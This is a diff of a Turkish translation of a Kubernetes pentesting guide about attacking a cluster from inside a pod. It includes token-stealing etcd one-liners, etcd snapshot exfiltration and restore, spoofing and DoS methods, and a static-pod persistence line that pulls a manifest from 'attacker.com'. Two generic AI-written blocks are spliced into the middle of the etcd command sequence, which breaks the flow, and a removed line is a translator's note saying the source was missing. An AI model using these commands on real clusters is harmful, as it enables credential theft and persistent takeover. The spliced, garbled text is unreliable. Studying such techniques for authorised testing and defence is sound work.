öğrenmek için şu sayfaya göz atın: {{#ref}} pentesting-kubernetes-services/ @@ -125,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -Eğer **compromised pod** diğer pod'ların authenticate olması gereken hassas bir servis çalıştırıyorsa, **local communications sniffing** yaparak diğer pod'lardan gönderilen credentials'ı elde edebilirsiniz. +**Compromised pod’un hassas bir servis** çalıştırdığı ve diğer pod’ların kimlik doğrulaması yapması gerektiği durumda, diğer pod’lardan gönderilen kimlik bilgilerini **yerel iletişimi sniffing yaparak** elde edebilirsiniz. ## Network Spoofing -Varsayılan olarak **ARP spoofing** gibi teknikler (ve buna bağlı olarak **DNS Spoofing**) kubernetes network içinde çalışır. Bu durumda, bir pod içinde **NET_RAW capability** (varsayılan olarak vardır) varsa, özel olarak hazırlanmış network packets gönderebilir ve aynı node üzerinde çalışan tüm pod'lara karşı **ARP Spoofing yoluyla MitM attacks** gerçekleştirebilirsiniz.\ -Ayrıca, **malicious pod** **DNS Server** ile aynı node üzerinde çalışıyorsa, cluster içindeki tüm pod'lara karşı bir **DNS Spoofing attack** gerçekleştirebilirsiniz. +Varsayılan olarak **ARP spoofing** gibi teknikler (ve bunun sayesinde **DNS Spoofing**) kubernetes network’ünde çalışır. Bu nedenle, bir pod içinde **NET_RAW capability**’ye sahipseniz (bu varsayılan olarak vardır), özel olarak hazırlanmış network packet’lar gönderebilir ve aynı node üzerinde çalışan tüm pod’lara karşı **ARP Spoofing üzerinden MitM attacks** gerçekleştirebilirsiniz.\ +Ayrıca, **malicious pod** **DNS Server** ile aynı node üzerinde çalışıyorsa, cluster’daki tüm pod’lara karşı bir **DNS Spoofing attack** gerçekleştirebilirsiniz. {{#ref}} kubernetes-network-attacks.md @@ -138,7 +138,7 @@ kubernetes-network-attacks.md ## Node DoS -Kubernetes manifests içinde resource tanımı yoktur ve container'lar için **limit** aralıkları uygulanmamıştır. Bir attacker olarak, pod/deployment'ın çalıştığı yerdeki tüm kaynakları **consume** edebilir, diğer kaynakları aç bırakabilir ve environment için bir DoS oluşturabilirsiniz. +Kubernetes manifest’lerinde resource specification yoksa ve container’lar için **not applied limit** aralıkları tanımlanmamışsa. Bir attacker olarak, pod/deployment’in çalıştığı yerdeki **tüm resource’ları tüketebilir** ve diğer resource’ları aç bırakıp ortam için bir DoS oluşturabiliriz. Bu, [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) gibi bir tool ile yapılabilir: ``` @@ -150,13 +150,13 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx ``` ## Node Post-Exploitation -Container'dan **escape** etmeyi başardıysan, node üzerinde bulabileceğin bazı ilginç şeyler var: +**Container'dan kaçmayı** başardıysanız node içinde bulacağınız bazı ilginç şeyler vardır: -- **Container Runtime** process'i (Docker) -- Bu node üzerinde çalışan daha fazla **pods/containers**; bunu da istismar edebilirsin (daha fazla token) +- **Container Runtime** süreci (Docker) +- Node içinde çalışan daha fazla **pod/container**; bunu da istismar edebilirsiniz (daha fazla token) - Genel olarak tüm **filesystem** ve **OS** -- Dinleyen **Kube-Proxy** service'i -- Dinleyen **Kubelet** service'i. Config dosyalarını kontrol et: +- Dinleyen **Kube-Proxy** servisi +- Dinleyen **Kubelet** servisi. Config dosyalarını kontrol edin: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -171,14 +171,20 @@ Container'dan **escape** etmeyi başardıysan, node üzerinde bulabileceğin baz - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** -### Node kubeconfig dosyasını bul +### Image Pull and Registry Credentials -Eğer kubeconfig dosyasını daha önce yorumlanan yollardan birinde bulamazsan, **kubelet process'inin `--kubeconfig` argümanını kontrol et**: +Node erişiminden sonra, node’un private image’ları nasıl çektiğini de inceleyin. Faydalı kanıtlar arasında runtime image metadata (`crictl images`), Pod veya ServiceAccount `imagePullSecrets`, containerd registry configuration örneğin `/etc/containerd/config.toml` ve `/etc/containerd/certs.d`, ayrıca kubelet image credential provider bayrakları örneğin `--image-credential-provider-config` ve `--image-credential-provider-bin-dir` bulunur. + +Cache’lenmiş bir private image gördüğünüzde bunun yeniden kullanılabilir registry credentials verdiğini varsaymayın. Bu sadece image’ın bu node’da mevcut olduğunu gösteriyor olabilir. Ancak static runtime registry credentials, Docker config JSON pull secrets veya kısa ömürlü pull credentials üretebilen bir credential provider private registry erişimini açığa çıkarabilir. Son Kubernetes sürümleri ayrıca image pull için service-account-token tabanlı kubelet credential provider’ları da destekler; bu yüzden etkiyi raporlamadan önce provider’ın Pod ile bağlı service account token’larını kullanıp kullanmadığını ve hangi audience istediğini kontrol edin. + +### Find node kubeconfig + +Kubeconfig dosyasını önceki yorumlanan path’lerden birinde bulamazsanız, **kubelet process’in `--kubeconfig` argümanını kontrol edin**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### Secrets çalın +### Secrets çalınması ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -199,20 +205,20 @@ echo "" fi done ``` -script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otomatik olarak **diğer pod'ların tokenlarını alır ve aradığınız izne sahip olup olmadıklarını kontrol eder** (tek tek sizin bakmanız yerine): +Script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) otomatik olarak **diğer podların tokenlarını alır ve aradığınız izne sahip olup olmadıklarını kontrol eder** (sizin tek tek bakmanız yerine): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Privileged DaemonSets -A DaemonSet bir **pod**’dur ve **cluster’daki tüm node’larda** **çalıştırılacaktır**. Bu nedenle, bir DaemonSet **privileged service account** ile yapılandırılmışsa, **TÜM node’larda** kötüye kullanabileceğiniz bu **privileged service account**’un **token**’ını bulabilirsiniz. +Bir DaemonSet, **kümedeki tüm node’larda** **çalıştırılacak** bir **pod**’dur. Bu nedenle, bir DaemonSet bir **privileged service account** ile yapılandırılmışsa, **TÜM node’larda** kötüye kullanabileceğin o **privileged service account**’un **token**’ını bulabilirsin. -Exploit, önceki bölümdekiyle aynıdır, ancak artık şansa bağlı değilsiniz. +Exploit, önceki bölümdekiyle aynıdır, ancak artık şansa bağlı değilsin. ### Pivot to Cloud -Eğer cluster bir cloud service tarafından yönetiliyorsa, genellikle **Node**, Pod’dan metadata endpoint’ine farklı bir erişime sahip olacaktır. Bu nedenle, **metadata endpoint’ine node’dan** (veya hostNetwork değeri True olan bir pod’dan) erişmeyi deneyin: +Eğer cluster bir cloud service tarafından yönetiliyorsa, genellikle **Node**, **metadata** endpoint’ine Pod’dan farklı bir erişime sahip olur. Bu nedenle, **metadata endpoint**’ine node’dan (veya hostNetwork True olan bir pod’dan) erişmeyi dene: {{#ref}} kubernetes-pivoting-to-clouds.md @@ -220,89 +226,254 @@ kubernetes-pivoting-to-clouds.md ### Steal etcd -Container’ı çalıştıracak Node’un [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) değerini belirtebiliyorsanız, bir control-plane node içinde shell alın ve **etcd database**’ini edinin: +Container’ı çalıştıracak Node’un [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) değerini belirtebiliyorsan, bir control-plane node içinde shell al ve **etcd database**’ini elde et: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane node'lar **role master**'dır ve **cloud managed clusters** içinde bunlarda herhangi bir şey çalıştıramazsınız. +control-plane nodes **role master** sahiptir ve **cloud managed cluster’larda onlarda hiçbir şey çalıştıramazsınız**. -#### Read secrets from etcd 1 +#### secrets’i etcd 1’den oku -Pod spec içinde `nodeName` selector'ını kullanarak pod'unuzu bir control-plane node üzerinde çalıştırabiliyorsanız, tüm secrets dahil olmak üzere cluster'ın tüm configuration'ını içeren `etcd` database'ine kolay erişim elde edebilirsiniz. +Pod spec içinde `nodeName` selector’ını kullanarak pod’unuzu bir control-plane node üzerinde çalıştırabiliyorsanız, tüm secrets dahil cluster’ın tüm configuration’ını içeren `etcd` database’ine kolayca erişebilirsiniz. -Aşağıda, bulunduğunuz control-plane node üzerinde çalışıyorsa `etcd`'den secrets çekmek için hızlı ve kaba bir yöntem var. `etcdctl` `etcd` client utility'sini kullanan bir pod başlatan ve control-plane node'un credentials'ını kullanarak etcd'ye, nerede çalışıyorsa oraya bağlanan daha elegant bir solution istiyorsanız, @mauilion tarafından hazırlanmış [bu example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) dosyasına bakın. +Aşağıda, üzerinde bulunduğunuz control-plane node’da çalışıyorsa `etcd`’den secrets almak için hızlı ve pratik bir yöntem var. Daha şık bir çözüm istiyorsanız, `etcdctl` client utility’si ile bir pod başlatıp control-plane node’un credentials’ını kullanarak etcd’ye nerede çalışıyorsa bağlanan bir çözüm için @mauilion tarafından hazırlanmış [bu example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)’e bakın. -**`etcd`'nin control-plane node üzerinde çalışıp çalışmadığını ve database'in nerede olduğunu kontrol edin (Bu, `kubeadm` ile oluşturulmuş bir cluster üzerindedir)** +**`etcd`’nin control-plane node üzerinde çalışıp çalışmadığını ve database’in nerede olduğunu kontrol edin (Bu, `kubeadm` ile oluşturulmuş bir cluster üzerindedir)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -Bu bölümün çevrileceği kaynak içerik mesajda yer almıyor. Lütfen `src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md` dosyasındaki metni paylaşın, ben de markdown ve tag yapısını aynen koruyarak Türkçeye çevireyim. +# Kubernetes'i Bir Pod İçinden Saldırmak + +Bir Kubernetes pod'unun içinden saldırmak, container'dan Kubernetes cluster içindeki diğer servislere ve bazen temel altyapıya erişim için kullanılan credentials ve ayrıcalıkları kötüye kullanmayı içerir. + +## Pod İçinden Neyi Zorlayabilirsin? + +Bir pod içindeyseniz, şu erişimleri abuse etmeye çalışabilirsiniz: + +- Diğer pod'lar ve servisler +- Kubernetes API +- ServiceAccount token'ları +- Cluster içi network +- HostPath mount'lar +- Bazen node filesystem veya host network + +## Pod'da Ne Aranmalı + +Aşağıdakileri kontrol edin: + +- `ServiceAccount` permissions +- Pod'un mount ettiği volume'ler +- Env variable'lar +- Kubernetes API'ye erişim +- Container capability'leri +- Privileged container ayarları +- `hostPath` mount'ları +- `hostNetwork: true` + +## Yaygın Teknikler + +### 1. ServiceAccount Token'larını Kullanma + +Eğer pod içinde bir `ServiceAccount` token'ı varsa, onu Kubernetes API'ye karşı kullanabilirsin. Bu, pod'un izinlerine bağlı olarak şunları yapmana izin verebilir: + +- Pod'ları listeleme +- Secret'ları okuma +- Yeni pod oluşturma +- Yetkileri yükseltme + +Token genellikle şu konumda bulunur: + +```bash +/var/run/secrets/kubernetes.io/serviceaccount/token +``` + +API server'a istek atmak için şu şekilde kullanılabilir: + +```bash +curl -k -H "Authorization: Bearer " https://kubernetes.default.svc +``` + +### 2. Mounted Secret'ları Okuma + +Bazı pod'lar Secret'ları volume olarak mount eder. Eğer bunları okuyabilirseniz, credential'ları, API key'leri veya diğer hassas bilgileri ele geçirebilirsiniz. + +```bash +ls -la /etc/secrets/ +cat /etc/secrets/* +``` + +### 3. Environment Variable'ları İnceleme + +Bazen hassas bilgiler env variable olarak verilir. Bunları `env`, `printenv` veya `/proc/self/environ` ile kontrol et. + +```bash +env +cat /proc/self/environ +``` + +### 4. Privileged Container Kötüye Kullanımı + +Eğer container `privileged` ise veya `CAP_SYS_ADMIN` gibi güçlü capability'lere sahipse, host'a kaçış veya daha geniş erişim mümkün olabilir. + +Kontrol et: + +```bash +id +capsh --print +``` + +### 5. HostPath Mount'larını Abuse Etme + +Eğer pod bir `hostPath` volume mount ediyorsa, host filesystem'e erişim elde edebilirsin. Bu, dosya okuma, yazma ve bazen host üzerindeki servislerin manipüle edilmesini mümkün kılar. + +Örnek: + +```bash +mount +ls -la / +``` + +### 6. Kubernetes API ile Daha Fazla Keşif + +API erişimin varsa, şunları sorgulayabilirsin: + +- Pod'lar +- Deployments +- Secrets +- ConfigMaps +- Nodes +- Roles ve RoleBindings + +Örnek: + +```bash +kubectl get pods -A +kubectl get secrets -A +kubectl get nodes +``` + +### 7. Pod'dan Node'a Geçiş + +Bazı yanlış yapılandırmalarda, özellikle: + +- `privileged` container +- `hostNetwork: true` +- `hostPID: true` +- `hostPath` mount +- Node üzerinde çalışan zayıf güvenlik kontrolleri + +ile host node'a geçiş mümkün olabilir. + +## Savunma Önerileri + +- Least privilege kullan +- `ServiceAccount` izinlerini sınırla +- `privileged` container'lardan kaçın +- `hostPath` kullanımını azalt +- Secret'ları gereksiz yere mount etme +- Network policy kullan +- Pod Security standards uygula +- Audit logging aç + +## Sonuç + +Bir pod içinden saldırı, çoğu zaman container'ın kendi sınırlarını değil, yanlış yapılandırılmış Kubernetes izinlerini ve exposure'larını kötüye kullanma meselesidir. En kritik hedefler genellikle `ServiceAccount` token'ları, mounted Secret'lar ve `hostPath` mount'larıdır. ```bash data-dir=/var/lib/etcd ``` -**etcd database içindeki veriyi görüntüle:** +**Veriyi etcd database içinde görüntüle:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**Database’den token’ları çıkarın ve service account adını gösterin** +**Veritabanından tokens'ları çıkarın ve service account adını gösterin** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**Aynı komut, ancak kube-system namespace içindeki sadece default token'ı döndürmek için bazı grep'ler ile** +**Aynı komut, ancak kube-system namespace’inde yalnızca default token’ı döndürmek için bazı grep’ler** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -Aşağıda, bir pod içinden Kubernetes'e karşı saldırı yapma senaryosu için çeviri yer alıyor. +Önemli: Bu bölüm, bir pod içinden Kubernetes kümesini kötüye kullanmaya yönelik teknikleri açıklar. Bu tür teknikleri yalnızca yetkili testler, lab ortamları veya savunma amaçlı değerlendirmelerde kullanın. + +Bir pod içindeyseniz, Kubernetes API'ye erişim için birkaç yol olabilir. Bunlar genellikle şunları içerir: + +- **ServiceAccount token'ını kullanma** +- **Kubelet API'ye erişme** +- **Cluster içi servis keşfi ve lateral movement** +- **Pod'dan node'a kaçışa yol açabilecek yanlış yapılandırmaları sömürme** + +`/var/run/secrets/kubernetes.io/serviceaccount/token` gibi mounted secrets, pod içinden Kubernetes API'yi çağırmak için sık kullanılır. Eğer pod'a bir ServiceAccount atandıysa, bu token çoğu zaman API isteklerini kimlik doğrulamak için yeterlidir. + +Örnek olarak, API sunucusuna istek atmak için: + +```bash +TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) +curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc +``` + +Eğer `Role` veya `ClusterRole` yeterince geniş yetkiler veriyorsa, saldırgan aşağıdaki işlemleri yapabilir: + +- Pod'ları listeleme +- Secret'ları okuma +- ConfigMap'leri inceleme +- Yeni pod'lar oluşturma +- Daha yüksek ayrıcalıklı servis hesaplarına geçiş yapma + +Kubernetes içindeki yaygın bir hedef, `secrets` kaynaklarını okumaktır. Çünkü bunlar genellikle veritabanı parolaları, cloud kimlik bilgileri ve diğer hassas verileri içerir. + +Node üzerinde çalışan kubelet servisi de hedef olabilir. Kubelet API bazen yeterince korunmaz ve pod metadata'sı, loglar veya hatta bazı durumlarda container yönetim işlemleri hakkında bilgi verebilir. + +Ayrıca, namespace içi keşif yaparak hangi servislerin çalıştığını anlamak, saldırı yüzeyini daraltmak için önemlidir. Bu, özellikle yanlış yapılandırılmış servis account'lar, fazla izinli `ClusterRoleBinding`'ler veya açıkta bırakılmış internal endpoint'ler olduğunda faydalıdır. ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### **`etcd`** 2'den secrets oku [buradan](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### `etcd` 2'den secrets oku [buradan](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. **`etcd`** veritabanının bir snapshot'unu oluştur. Daha fazla bilgi için [**bu script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) kontrol et. -2. **`etcd`** snapshot'unu node dışına sevdiğin bir yöntemle aktar. -3. Veritabanını aç: +1. **`etcd`** veritabanının bir snapshot'ını oluşturun. Daha fazla bilgi için [**bu script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)'e bakın. +2. **`etcd`** snapshot'ını node dışına tercih ettiğiniz yöntemle transfer edin. +3. Veritabanını unpack edin: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. Yerel makinenizde **`etcd`** başlatın ve çalınan snapshot’ı kullanmasını sağlayın: +4. Yerel makinenizde **`etcd`** başlatın ve çalınan snapshot'ı kullanmasını sağlayın: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' ``` -5. Tüm secrets'ları listele: +5. Tüm secrets'leri listele: ```bash etcdctl get "" --prefix --keys-only | grep secret ``` -6. secfrets'i alın: +6. secfrets’i alın: ```bash etcdctl get /registry/secrets/default/my-secret ``` ### Static/Mirrored Pods Persistence -_Static Pods_ doğrudan belirli bir node üzerindeki kubelet daemon tarafından yönetilir; API server bunları gözlemlemez. Control plane tarafından yönetilen Pods’lardan farklı olarak (örneğin, bir Deployment); bunun yerine, **kubelet her static Pod’u izler** (ve başarısız olursa yeniden başlatır). +_Static Pods_ doğrudan belirli bir node üzerindeki kubelet daemon tarafından yönetilir; API server bunları izlemez. Control plane tarafından yönetilen Pods’lardan (örneğin, bir Deployment) farklı olarak; bunun yerine, **kubelet her static Pod’u izler** (ve başarısız olursa yeniden başlatır). -Bu nedenle, static Pods her zaman belirli bir node üzerinde tek bir **Kubelet**’e bağlıdır. +Bu nedenle, static Pods her zaman belirli bir node üzerindeki tek bir **Kubelet**’e bağlıdır. -**kubelet, her static Pod için Kubernetes API server üzerinde otomatik olarak bir mirror Pod oluşturmaya çalışır**. Bu, bir node üzerinde çalışan Pods’ların API server üzerinde görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod isimlerinin sonuna, başında tire olacak şekilde node hostname eklenir. +**kubelet**, her static Pod için Kubernetes API server üzerinde otomatik olarak bir mirror Pod oluşturmaya çalışır. Bu, bir node üzerinde çalışan Pods’ların API server’da görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod isimlerinin sonuna, başında tire işareti olacak şekilde node hostname’i eklenir. > [!CAUTION] -> Bir static Pod’un **`spec`** kısmı diğer API objelerine referans veremez** (örn. ServiceAccount, ConfigMap, Secret, vb. Bu yüzden **bu davranışı kullanıp mevcut node üzerinde keyfi bir serviceAccount ile pod başlatamazsınız** ve cluster’ı ele geçiremezsiniz. Ancak bunu farklı namespaces içinde pod çalıştırmak için kullanabilirsiniz (bir nedenle işe yararsa). +> Bir static Pod’un **`spec`** kısmı diğer API nesnelerine referans veremez (örn. ServiceAccount, ConfigMap, Secret, vb. Dolayısıyla bu davranışı kullanarak mevcut node üzerinde cluster’ı ele geçirmek için keyfi bir serviceAccount ile pod başlatmayı kötüye kullanamazsınız. Ancak bunu farklı namespaces içinde pod çalıştırmak için kullanabilirsiniz (eğer bir nedenle faydalıysa). -Node host içindeyseniz, onun kendi içinde bir **static pod** oluşturmasını sağlayabilirsiniz. Bu oldukça faydalıdır çünkü **kube-system** gibi farklı bir namespace içinde **pod oluşturmanıza** izin verebilir. +Eğer node host’un içindeyseniz, onun kendi içinde bir **static pod** oluşturmasını sağlayabilirsiniz. Bu oldukça kullanışlıdır çünkü **kube-system** gibi farklı bir namespace içinde bir pod oluşturmanıza izin verebilir. -Bir static pod oluşturmak için [**docs çok faydalıdır**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Temelde 2 şeye ihtiyacınız var: +Bir static pod oluşturmak için [**docs çok yardımcıdır**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Temelde 2 şeye ihtiyacınız var: -- **kubelet service** içinde ya da **kubelet config** içinde parametre **`--pod-manifest-path=/etc/kubernetes/manifests`** ayarlayın ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) ve service’i yeniden başlatın -- Tanımı **`/etc/kubernetes/manifests`** içinde **pod definition** olarak oluşturun +- **kubelet service** içinde veya **kubelet config** içinde **`--pod-manifest-path=/etc/kubernetes/manifests`** parametresini yapılandırın ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) ve servisi yeniden başlatın +- **`/etc/kubernetes/manifests`** içinde **pod definition** oluşturun -**Daha stealth bir başka yöntem ise şudur:** +**Daha gizli başka bir yol ise:** -- **kubelet** config file içindeki **`staticPodURL`** parametresini değiştirip şu tarz bir değer verin: `staticPodURL: http://attacker.com:8765/pod.yaml`. Bu, kubelet process’in **belirtilen URL’den configuration alarak** bir **static pod** oluşturmasını sağlar. +- **kubelet** config dosyasındaki **`staticPodURL`** parametresini değiştirin ve şöyle bir şey ayarlayın: `staticPodURL: http://attacker.com:8765/pod.yaml`. Bu, kubelet sürecinin **belirtilen URL’den configuration alarak** bir **static pod** oluşturmasını sağlar. -**kube-system** içinde bir privilege pod oluşturmak için **pod** configuration örneği [**buradan**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) alınmıştır: +**kube-system** içinde ayrıcalıklı bir pod oluşturmak için **pod** configuration örneği, [**buradan**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) alınmıştır: ```yaml apiVersion: v1 kind: Pod @@ -330,8 +501,8 @@ type: Directory ``` ### Delete pods + unschedulable nodes -Bir saldırgan bir **node'u ele geçirdiyse** ve diğer node'lardan **pods silebiliyor** ve diğer node'ların **pods çalıştırmasını engelleyebiliyorsa**, pods ele geçirilmiş node'da yeniden çalıştırılır ve içlerinde çalışan **tokens**'ları **steal** edebilir.\ -Daha fazla bilgi için [**bu linkleri takip edin**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). +Bir saldırgan bir **node'u compromise etmişse** ve diğer node'lardan **pods delete** edebiliyorsa ve diğer node'ların pod çalıştıramamasını sağlayabiliyorsa, pods compromised node üzerinde yeniden çalıştırılır ve içlerinde çalışan **tokens**'ları çalabilir.\ +Daha fazla bilgi için [**bu bağlantıyı takip edin**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Automatic Tools diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index e1ae3315d..9b4611c89 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Kubernetes içinde servisleri expose etmenin **farklı yolları** vardır, böylece hem **internal** endpointler hem de **external** endpointler bunlara erişebilir. Bu Kubernetes konfigürasyonu oldukça kritiktir çünkü administrator, **attackers**'a erişmemeleri gereken servisler için access verebilir. +Kubernetes içinde hizmetleri dışa açmanın **farklı yolları** vardır; böylece hem **internal** endpointler hem de **external** endpointler onlara erişebilir. Bu Kubernetes yapılandırması oldukça kritiktir çünkü administrator, **attackers** için erişmemeleri gereken **services** erişimi verebilir. ### Automatic Enumeration -K8s’nin servisleri public’e expose etmek için sunduğu yolları enumerate etmeye başlamadan önce, namespaces, services ve ingresses listeleyebiliyorsan public’e exposed olan her şeyi şu şekilde bulabileceğini bil: +K8s’in hizmetleri public’e açmak için sunduğu yolları enumerate etmeye başlamadan önce, namespaces, services ve ingresses listesini alabiliyorsan, public’e açılmış her şeyi şununla bulabileceğini bil: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,17 +20,17 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -Bir **ClusterIP** service, varsayılan Kubernetes **service**'idir. Bu, clusterınızın içinde diğer app'lerin erişebileceği bir **service inside** sağlar. **Dış erişim yoktur**. +Bir **ClusterIP** service, Kubernetes’in **varsayılan** **service** türüdür. Bu, cluster’ınızın içinde diğer app’lerin erişebileceği bir **service inside** sağlar. **Dış erişim yoktur**. Ancak, buna Kubernetes Proxy kullanılarak erişilebilir: ```bash kubectl proxy --port=8080 ``` -Artık bu şemayı kullanarak services erişmek için Kubernetes API içinde gezinebilirsiniz: +Şimdi, bu scheme kullanarak services'e erişmek için Kubernetes API içinde navigate edebilirsiniz: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` -Örneğin, aşağıdaki URL'yi kullanabilirsiniz: +Örneğin, şu URL'i kullanabilirsiniz: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` @@ -50,17 +50,17 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Bu yöntem, `kubectl` komutunu **kimliği doğrulanmış bir kullanıcı** olarak çalıştırmanızı gerektirir._ +_Bu yöntem, `kubectl` komutunu **authenticated user** olarak çalıştırmanızı gerektirir._ -Tüm ClusterIP'leri listele: +Tüm ClusterIP'leri listeleyin: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -**NodePort** kullanıldığında, tüm Node’larda (Virtual Machines’i temsil eden) belirlenmiş bir port erişime açılır. Bu belirli porta yönlendirilen **traffic**, daha sonra sistematik olarak **service’e yönlendirilir**. Genellikle, dezavantajları nedeniyle bu yöntem önerilmez. +**NodePort** kullanıldığında, tüm Nodes’larda (Virtual Machines’i temsil eden) belirlenmiş bir port kullanılabilir hale getirilir. Bu belirli porta yönlendirilen **Traffic**, ardından sistematik olarak **service**’e **routed to the service** edilir. Genellikle, dezavantajları nedeniyle bu yöntem önerilmez. -Tüm NodePort’ları listele: +Tüm NodePorts’u listele: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` @@ -81,41 +81,42 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -Eğer yaml içinde **nodePort** belirtmezseniz (açılacak port budur), **30000–32767 aralığında** bir port kullanılacaktır. +Eğer yaml içinde **nodePort** belirtmezseniz (bu, açılacak porttur), **30000–32767 aralığından bir port kullanılacaktır**. -NodePort veya LoadBalancer Services incelerken, traffic-policy alanlarını da kontrol edin; çünkü bunlar, belirli bir kaynaktan hangi node’ların ve backend’lerin kullanılabilir olduğunu değiştirir: +NodePort veya LoadBalancer Services incelerken, traffic-policy alanlarını da kontrol edin çünkü bunlar, belirli bir kaynaktan hangi node'ların ve backend'lerin kullanışlı olduğunu değiştirir: ```bash kubectl get services --all-namespaces \ -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort' ``` -- `externalTrafficPolicy: Local` gerçek istemci source IP’sini NodePort/LoadBalancer trafiği için korur ve trafiği diğer node’lar üzerindeki endpoints’e yönlendirmekten kaçınır. Local hazır bir endpoint olmayan bir node, Service’in başka yerlerde endpoints’i olsa bile trafiği drop edebilir. -- `externalTrafficPolicy: Cluster` varsayılandır ve herhangi bir node üzerinden forward edebilir, ancak backend logları gerçek external client IP yerine node IP’lerini görebilir. -- `internalTrafficPolicy: Local` cluster içi Service trafiğini source node üzerindeki local endpoints ile sınırlar. Bu locality routing’dir, authorization boundary 